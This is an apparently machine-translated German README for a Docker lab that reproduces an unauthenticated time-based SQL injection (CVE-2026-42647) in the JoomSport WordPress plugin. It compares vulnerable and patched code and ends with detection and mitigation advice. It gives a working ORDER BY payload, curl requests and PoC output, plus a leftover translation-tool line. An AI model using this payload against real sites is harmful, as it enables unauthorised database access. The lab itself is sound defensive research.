
sortfDieses Repository enthält ein lokales Docker-Labor zur Reproduktion und Validierung von CVE-2026-42647, einer unauthentifizierten SQL-Injection-Schwachstelle, die das WordPress-Plugin JoomSport - for Sports: Team & League, Football, Hockey & more betrifft.
Das verwundbare Verhalten tritt in der Sortierfunktion der Spielerliste auf. Ein öffentlicher Besucher kann den Abfrageparameter sortf steuern, der zur Erstellung einer SQL-ORDER BY-Klausel verwendet wird. In verwundbaren Versionen wird der Wert als Text bereinigt und in Backticks gesetzt, aber nicht gegen eine strenge Allowlist validiert, bevor er an die SQL-Abfrage angehängt wird.
Dieses Labor vergleicht zwei JoomSport-Versionen:
| Service | JoomSport-Version | Zweck | URL |
|---|---|---|---|
vuln | 5.7.6 | Verwundbares Vergleichsziel | http://localhost:8081 |
patched | 5.7.8 | Gepatchtes Vergleichsziel | http://localhost:8082 |
Die öffentlichen Advisories identifizieren Versionen vor 5.7.8 als betroffen und 5.7.8 als die behobene Version. Dieses Labor verwendet 5.7.6 als verwundbares Ziel, da zum Zeitpunkt der Erstellung dieses Labors kein 5.7.7-Quellcode-Tag in der SVN-Tag-Liste des WordPress.org-Plugins verfügbar war.
Die demonstrierte Schwachstellenkette ist:```text Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field
This lab validates the vulnerability as a time-based blind SQL injection. It does not perform database dumping, credential extraction, data modification, or destructive SQL operations.
This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.
## Verified Facts
| Claim | Evidence | How to verify in this lab |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| JoomSport before 5.7.8 is reported vulnerable to unauthenticated SQL injection. | Public advisories identify JoomSport `< 5.7.8` / `<= 5.7.7` as affected. | Review the References section and compare the vulnerable/patched services. |
| JoomSport 5.7.8 is the fixed version. | Public advisories and source comparison show that 5.7.8 validates the `sortf` value before building the ordering expression. | Inspect `class-jsport-playerlist.php` in both versions. |
| The affected parameter is `sortf`. | The vulnerable player list code reads `classJsportRequest::get('sortf')`. | Run the PoC and observe the injected `sortf` request. |
| The vulnerable code builds a dynamic SQL ordering value from user input. | In the vulnerable version, `sortf` is used to build `$options['ordering']`. | Inspect `sportleague/classes/objects/class-jsport-playerlist.php`. |
| The SQL sink is an `ORDER BY` clause. | The generated `$ordering` value is later appended into an SQL query with `ORDER BY`. | Inspect `sportleague/base/wordpress/classes/class-jsport-getplayers.php`. |
| The patch uses an allowlist-style fix. | The patched version introduces allowed static columns and expected dynamic field patterns before using the sort field. | Compare JoomSport 5.7.6 and 5.7.8 source. |
| The lab demonstrates time-based blind SQL injection. | The vulnerable target delays when an injected `SLEEP()` expression is used; the patched target does not. | Run `python3 poc/poc.py http://localhost:8081 http://localhost:8082`. |
## Assumptions and Unknowns
This lab uses JoomSport 5.7.6 as the vulnerable comparison target because the public fixed version is 5.7.8 and a 5.7.7 source tag was not available in the WordPress.org plugin SVN tag listing when the lab was prepared.
The lab does not claim that 5.7.6 is the only vulnerable version. It is used as a reproducible vulnerable baseline for comparing vulnerable behavior against the patched 5.7.8 behavior.
The lab focuses on the `sortf` parameter in the player list sorting flow.
The demonstrated impact is time-based blind SQL injection. The lab does not demonstrate:
* direct database dumping,
* credential extraction,
* authentication bypass,
* privilege escalation,
* arbitrary data modification,
* remote code execution,
* persistence,
* external callbacks,
* or attacks against non-lab systems.
Error-based or boolean-based behavior may be possible depending on database behavior, application configuration, and response differences, but this lab does not rely on those techniques. The primary proof is timing-based.
## Root Cause Summary
The root cause is unsafe construction of a dynamic SQL `ORDER BY` clause from the `sortf` request parameter.
The vulnerable code path starts in:```text
sportleague/classes/objects/class-jsport-playerlist.php
In der Ladelogik der Spielerliste liest JoomSport den Request-Parameter:```text sortf
und verwendet es, um Folgendes zu konstruieren:```text
$options['ordering']
Das relevante verwundbare Quellcode-Muster ist:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
Das Problem liegt nicht primär am Parameter `sortd`. Der Wert von `sortd` ist beschränkt auf:```text
ASC
DESC
Das Problem ist der Parameter sortf, da er die Position der SQL-Identifikator-/Ausdrucksbezeichnung steuert, die für die Sortierung verwendet wird.
Der gefährliche Ausdruck ist:```php
"".classJsportRequest::get('sortf').""
Der Code platziert angreiferkontrollierte Eingaben in einen MySQL-Identifikatorkontext und reicht sie dann als SQL-Sortierfragment weiter.
Der Code wendet Folgendes an:```php
sanitize_text_field()
aber sanitize_text_field() ist keine SQL-Bezeichner-Validierung. Es ist dafür gedacht, Text zu bereinigen, nicht um sicher SQL-Syntax zu konstruieren.
Der anfällige Code umschließt das vom Benutzer kontrollierte Sortierfeld außerdem in Backticks. Backticks sind jedoch keine Sicherheitsgrenze, wenn der Angreifer den Inhalt des Bezeichners beeinflussen kann. Wenn ein Angreifer einen Backtick in den Wert injizieren kann, kann er aus dem beabsichtigten Bezeichnerkontext ausbrechen.
Der generierte Sortierwert wird später an die Spielerabruf-Abfrage übergeben und in einer SQL-ORDER BY-Klausel angehängt in:```text
sportleague/base/wordpress/classes/class-jsport-getplayers.php
Das Sink-Muster ist:```php
$query .= ' ORDER BY '.($ordering);
Dadurch entsteht der verwundbare Datenfluss:```text sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY
Das Sicherheitsproblem besteht darin, dass die Anwendung einen vom Benutzer gesteuerten Anforderungsparameter als SQL-Bezeichner/Ausdruck behandelt, ohne ihn zuvor gegen eine strenge Allowlist zu validieren.
## Zusammenfassung des Quellcode-Patches
Der relevante Patch befindet sich in:```text
sportleague/classes/objects/class-jsport-playerlist.php
In der verwundbaren Version erstellt der Spielerlisten-Code $options['ordering'] direkt aus dem Anforderungswert:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
Der anfällige Teil ist, dass `classJsportRequest::get('sortf')` innerhalb des SQL-Ordering-Ausdrucks verwendet wird.
JoomSport 5.7.8 ändert dieses Verhalten, indem eine validierte Sortierfeld-Variable eingeführt wird, bevor `$options['ordering']` aufgebaut wird.
Die gepatchte Version initialisiert einen sicheren Standardwert:```php
$sortFieldEsc = 'post_title';
Anschließend definiert es zulässige statische Sortierspalten:```php $sortCols = array("played", "career_minutes", "post_title");
Wenn `sortf` vorhanden ist, akzeptiert der gepatchte Code es nur, wenn es mit einem der erwarteten statischen Werte übereinstimmt:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
Der Patch erlaubt auch erwartete dynamische Event-/Stat-Feldformate:```php if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
Die letzte sicherheitsrelevante Änderung besteht darin, dass `$options['ordering']` aus `$sortFieldEsc` anstelle des rohen `sortf`-Anforderungswerts erstellt wird:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;
Dies entfernt die dynamische Sortierung nicht. Es ändert die Vertrauensgrenze.
Vor dem Patch:```text request sortf value directly controlled the ORDER BY identifier
Nach dem Patch:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern
Wenn der Angreifer einen unerwarteten Wert sendet, wie zum Beispiel:```text post_title`DESC,(SLEEP(2))#
der gepatchte Code weist diesen Wert nicht der Variable `$sortFieldEsc` zu.
Stattdessen fällt das Sortierfeld zurück auf:```text
post_title
Dies ist der Grund, warum der anfällige Dienst Verzögerungen aufweist, während der gepatchte Dienst nahe der Basislatenz bleibt.
Die Sicherheitslektion aus dem Patch ist:```text Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.
## Laborarchitektur
Das Labor betreibt zwei isolierte WordPress-Installationen über Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── init-wordpress.sh
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
The two WordPress services run separate databases and separate plugin versions:
Standardmäßig exponierte Dienste:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
Der Einrichtungsprozess erstellt minimale JoomSport-Daten, die zum Rendern der Spielerlisten-Route erforderlich sind:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows
Die verwundbaren und gepatchten Dienste verwenden dieselbe Form der Labordaten, sodass das Zeitverhalten fair verglichen werden kann.
requests zum Ausführen des PoC vom Host ausInstallieren Sie bei Bedarf die Python-Abhängigkeit auf dem Host:```bash python3 -m pip install requests
## Schnellstart
Starte das Lab:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Beobachte die Setup-Container:```bash docker compose logs -f setup-vuln setup-patched
Erwartete Abschlussmeldungen des Setups:```text
[VULN] setup complete
[PATCHED] setup complete
Containerstatus überprüfen:```bash docker compose ps
Erwartete exponierte Dienste:```text
http://localhost:8081
http://localhost:8082
Führen Sie den PoC gegen das verwundbare Ziel aus:```bash python3 poc/poc.py http://localhost:8081
Führen Sie den PoC gegen das gepatchte Ziel aus:```bash
python3 poc/poc.py http://localhost:8082
Führen Sie den PoC in einem Befehl gegen beide Ziele aus:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
Für stabilere Timing-Statistiken erhöhen Sie die Anzahl der Runden:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
Sie können auch die gewünschte Schlafzeit anpassen:```bash python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5
## PoC-Verwendung
Der PoC prüft jedes Ziel unabhängig.
Es sind keine separaten `--vuln-url`- oder `--patched-url`-Optionen mehr erforderlich. Stattdessen übergibst du eine oder mehrere Ziel-URLs als Positionsargumente:```bash
python3 poc/poc.py <target_url> [target_url...]
Beispiele:```bash python3 poc/poc.py http://localhost:8081 python3 poc/poc.py http://localhost:8082 python3 poc/poc.py http://localhost:8081 http://localhost:8082
Wenn keine Ziel-URL angegeben ist, fordert das Skript interaktiv zur Eingabe einer oder mehrerer lokaler Ziel-URLs auf.
Unterstützte Optionen:```text
--season-id Seeded JoomSport season post ID. Default: 4
--rounds Number of requests per baseline/injected series. Default: 3
--sleep SLEEP() seconds used in the timing payload. Default: 2
Der PoC ist bewusst auf den lokalen Bereich beschränkt. Er akzeptiert Ziele im localhost-Stil wie:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
Der PoC lehnt standardmäßig nicht-lokale Ziele ab.
## Wie der PoC entscheidet
Für jedes Ziel führt der PoC zwei Zeitreihen durch:```text
[1/2] Baseline timing
[2/2] Injected timing
Die Basisanfrage verwendet ein normales Sortierfeld:```text sortf=post_title
Die injizierte Anfrage verwendet ein rein lokales Timing-Payload im Parameter `sortf`:```text
sortf=post_title`DESC,(SLEEP(2))#
Das PoC berechnet:```text delta = injected median - baseline median
Dann klassifiziert es das Ziel:
| Befund | Bedeutung |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | Die injizierte Anfrage ist deutlich langsamer als die Baseline. |
| `PATCHED-LIKE` | Die injizierte Anfrage bleibt nahe der Baseline. |
| `UNREACHABLE` | Das Ziel konnte nicht erreicht werden. |
| `INCONCLUSIVE` | Einige Zeitmessdaten fehlten oder waren unvollständig. |
Standard-Entscheidungsregel:```text
injected median - baseline median >= 60% of requested SLEEP()
Für die Standardeinstellung --sleep 2 liegt der Schwellenwert bei:```text
1.200s median delta
Das bedeutet, dass ein Ziel nur dann als `VULNERABLE-LIKE` gemeldet wird, wenn die injizierte Anfrage deutlich langsamer ist als ihre eigene Baseline.
Nicht erreichbare oder nicht aussagekräftige Ziele werden nicht als gepatcht gezählt.
## Manuelle HTTP-Reproduktion mit curl
Sie können die Validierung manuell reproduzieren, ohne das Python-PoC zu verwenden.
Verwundbare Baseline-Anfrage:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
Verwundbare injizierte Anfrage:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
Gepatchte Baseline-Anfrage:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
Gepatchte injizierte Anfrage:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
Erwarteter Vergleich:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched -> injected request stays near baseline timing
Befehl:```bash python3 poc/poc.py http://localhost:8081
Erwartetes verwundbares Signal:```text
CVE-2026-42647 JoomSport local timing validation
Scope : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic : baseline timing vs injected timing per target
Targets : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta
================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#
[1/2] Baseline timing
run 01: status=200 time=0.092s bytes=75333
run 02: status=200 time=0.044s bytes=75333
run 03: status=200 time=0.046s bytes=75333
summary median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
summary status=200x3 bytes=75333
[2/2] Injected timing
run 01: status=200 time=6.050s bytes=75321
run 02: status=200 time=6.058s bytes=75321
run 03: status=200 time=6.095s bytes=75321
summary median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
summary status=200x3 bytes=75321
Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta : 6.011s
Ratio : 130.8x
Threshold : 1.200s
Verdict : VULNERABLE-LIKE
Interpretation : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.
VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 0 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### Gepatchtes Ziel
Befehl:```bash
python3 poc/poc.py http://localhost:8082
Baseline median : around normal baseline timing Injected median : around normal baseline timing Delta : below threshold Ratio : near 1.0x Threshold : 1.200s Verdict : PATCHED-LIKE
Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.
### Mehrere Ziele
Befehl:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
The input chunk is empty. There is no content to translate.```text VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 1 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### Unerreichbares Ziel
Wenn ein Ziel nicht läuft, sollte der PoC `UNREACHABLE` melden, nicht `PATCHED-LIKE`.
Beispiel:```bash
python3 poc/poc.py http://localhost:8083
Erwartete Entscheidung:```text Verdict : UNREACHABLE
Interpretation : the target could not be reached. No vulnerability decision was made for this target.
Nicht erreichbare Ziele werden nicht als gepatcht gezählt.
## So funktioniert der PoC
Der PoC prüft die JoomSport-Spielerlisten-Route auf einen vorbereiteten Saisonbeitrag.
Die Zielroute entspricht:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC
Die Baseline-Anfrage verwendet:```text sortf=post_title
Dies sollte eine normale Sortierung der Spielerliste erzeugen.
Die injizierte Anfrage verwendet:```text
sortf=post_title`DESC,(SLEEP(2))#
Der verwundbare Code schließt sortf in Backticks ein und fügt eine Sortierrichtung hinzu. Der injizierte Wert ist darauf ausgelegt, aus dem beabsichtigten Bezeichnerkontext auszubrechen und einen Timing-Ausdruck in die ORDER BY-Klausel einzuführen.
Konzeptionell ähnelt das verwundbare SQL-Fragment dann dem Folgenden:```sql
ORDER BY post_title DESC, (SLEEP(2))
Das `#`-Kommentarzeichen verhindert, dass der nachgestellte Backtick und die Richtung den injizierten Ausdruck beeinträchtigen.
Dies ist kein gestapeltes Query-Payload. Es injiziert nicht:```sql
; SELECT SLEEP(2);
Stattdessen injiziert es einen SQL-Ausdruck in den bestehenden ORDER BY-Kontext.
Die gepatchte Version führt den injizierten Ausdruck nicht aus, da der sortf-Wert gegen erlaubte Sortierfelder geprüft wird und bei unerwartetem Wert auf post_title zurückfällt.
Dieses Labor demonstriert eine nicht authentifizierte zeitbasierte Blind-SQL-Injection im Parameter sortf der JoomSport-Spielerliste.
Die verwundbare Version führt einen injizierten SQL-Zeitausdruck über die ORDER BY-Klausel aus, was eine deutliche Antwortverzögerung erzeugt. Die gepatchte Version verzögert nicht, da das injizierte Sortierfeld abgelehnt und durch einen sicheren, auf der Whitelist stehenden Wert ersetzt wird.
Das Labor belegt nur die zeitbasierte SQL-Ausführung. Es demonstriert keine Datenextraktion, Datenänderung, Authentifizierungsumgehung, Privilegienerweiterung oder Remote-Codeausführung.
Mögliche Indikatoren sind direkte Anfragen an Routen der JoomSport-Spielerliste mit ungewöhnlichen sortf-Werten.
Beispiel für ein verdächtiges Anforderungsmuster:```text GET /?post_type=joomsport_season&p=&action=playerlist&sortf=<unexpected_value>&sortd=ASC
Verdächtige `sortf`-Eigenschaften:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings
Beispiel für eine lokale Laboranfrage:```text sortf=post_title`DESC,(SLEEP(2))#
Erwartetes verwundbares Signal:```text
HTTP 200 response with significant timing delay
Erwartetes gepatchtes Signal:```text HTTP 200 response without significant timing delay
Potenzielle Ansätze für das Produktionsmonitoring:
* Webzugriffsprotokolle auf ungewöhnliche `sortf`-Werte prüfen.
* Warnmeldungen bei SQL-Schlüsselwörtern oder Kommentarmarkierungen innerhalb von Sortierparametern ausgeben.
* Wiederholte Anfragen an JoomSport-Spielerlisten-Routen mit kleinen Parameteränderungen überwachen.
* Langsame Datenbankabfragen im Zusammenhang mit JoomSport-Spielerlistentabellen überwachen.
* Langsame Anfragen mit öffentlichem, nicht authentifiziertem Datenverkehr korrelieren.
* Prüfen, ob JoomSport installiert ist und ob die Version älter als 5.7.8 ist.
## Minderungs- und Patch-Hinweise
Aktualisieren Sie JoomSport auf Version 5.7.8 oder neuer.
Die korrigierte Version beschränkt den Parameter `sortf` auf erwartete Sortierfelder sowie dynamische Feldmuster. Unerwartete Werte fallen auf ein sicheres Standard-Sortierfeld zurück.
Empfehlungen zur Anwendungs-Minderung:
* Aktualisieren Sie das JoomSport-Plugin.
* Legen Sie veraltete Plugin-Versionen nicht auf öffentlichen WordPress-Websites offen.
* Überprüfen Sie Webserver-Protokolle auf verdächtige `sortf`-Parameter.
* Deaktivieren oder schränken Sie betroffene Funktionen nur als temporäre Minderung ein, wenn ein sofortiges Update nicht möglich ist.
* Verwenden Sie eine Web-Application-Firewall-Regel als temporäre Schicht, nicht als Ersatz für das Patchen.
* Behandeln Sie dynamische SQL-Bezeichner anders als normale Werte: Verwenden Sie Allowlists für Spaltennamen, Tabellennamen, Sortierrichtungen und ähnliche SQL-Syntaxbestandteile.
Die wichtigste Kontrolle ist die Allowlist. Alleiniges Escaping ist für dynamische SQL-Bezeichner keine vollständige Lösung.
## Nützliche Verifikationsbefehle
Laufende Container prüfen:```bash
docker compose ps
Setup-Logs ansehen:```bash docker compose logs -f setup-vuln setup-patched
WordPress-Dienste prüfen:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082
Führen Sie den PoC gegen den verwundbaren Dienst aus:```bash python3 poc/poc.py http://localhost:8081
Führe den PoC gegen den gepatchten Dienst aus:```bash
python3 poc/poc.py http://localhost:8082
Führen Sie den PoC gegen beide Dienste aus:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
Führen Sie den PoC mit mehr Runden aus:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
Beweise speichern:```bash mkdir -p evidence
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
| tee evidence/timing-validation.txt
docker compose ps
| tee evidence/docker-compose-ps.txt
docker compose logs vuln patched setup-vuln setup-patched \
evidence/docker-compose-logs.txt
Plugin-Versionen in WordPress prüfen:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Verwundbaren Quellcode untersuchen:```bash
docker compose exec -T vuln sh -lc
"grep -R "sortf\|ordering" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
Gepatchten Quellcode untersuchen:```bash
docker compose exec -T patched sh -lc \
"grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
SQL-Sink untersuchen:```bash
docker compose exec -T vuln sh -lc
"grep -R "ORDER BY" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"
## Aufräumen
Container und Netzwerke stoppen und entfernen:```bash
docker compose down --remove-orphans
Container, Netzwerke und Volumes entfernen:```bash docker compose down -v --remove-orphans
Entfernen Sie Beweisdateien, falls erstellt:```bash
rm -rf evidence/
Dieses Labor ist ausschließlich für lokale Sicherheitsforschung und kontrollierte Demonstrationen bestimmt.
Führen Sie den PoC oder die Payloads nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testberechtigung haben.
Verwenden Sie in diesem Labor keine echten Zugangsdaten, Produktionsgeheimnisse oder externen Ziele.
Der PoC ist bewusst auf lokale Docker-Dienste wie die folgenden beschränkt:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
Das PoC enthält keine Payloads für Datenbank-Dumps, Credential-Diebstahl, Datenmanipulation, Persistenz, Lateral Movement oder externe Callbacks.
Das Ziel ist es, eine spezifische technische Bedingung in einer kontrollierten Umgebung zu demonstrieren:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version
Wordfence-Sicherheitshinweis: JoomSport <= 5.7.7 - nicht authentifizierte SQL-Injection über den Parameter sortf
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter
Wordfence-Sicherheitshinweis: JoomSport - for Sports: Team & League, Football, Hockey & more <= 5.7.7 - nicht authentifizierte SQL-Injection https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection
WPScan-Plugin-Schwachstellendatenbank: JoomSport https://wpscan.com/plugin/joomsport-sports-league-results-management/
WordPress.org-Plugin: JoomSport - for Sports: Team & League, Football, Hockey & more https://wordpress.org/plugins/joomsport-sports-league-results-management/
WordPress.org-Plugin-SVN https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/
WordPress.org-Plugin-SVN-Tags https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/
OWASP Web Security Testing Guide: Testen auf SQL-Injection https://owasp.org/www-project-web-security-testing-guide/
OWASP Cheat Sheet Series: SQL-Injection-Prävention https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
| Service | Component | Version / Role |
|---|
vuln | WordPress + JoomSport | JoomSport 5.7.6 |
patched | WordPress + JoomSport | JoomSport 5.7.8 |
db-vuln | MariaDB | Datenbank für das verwundbare Ziel |
db-patched | MariaDB | Datenbank für das gepatchte Ziel |
setup-vuln | WP-CLI-Init-Service | installiert WordPress und befüllt das verwundbare Ziel |
setup-patched | WP-CLI-Init-Service | installiert WordPress und befüllt das gepatchte Ziel |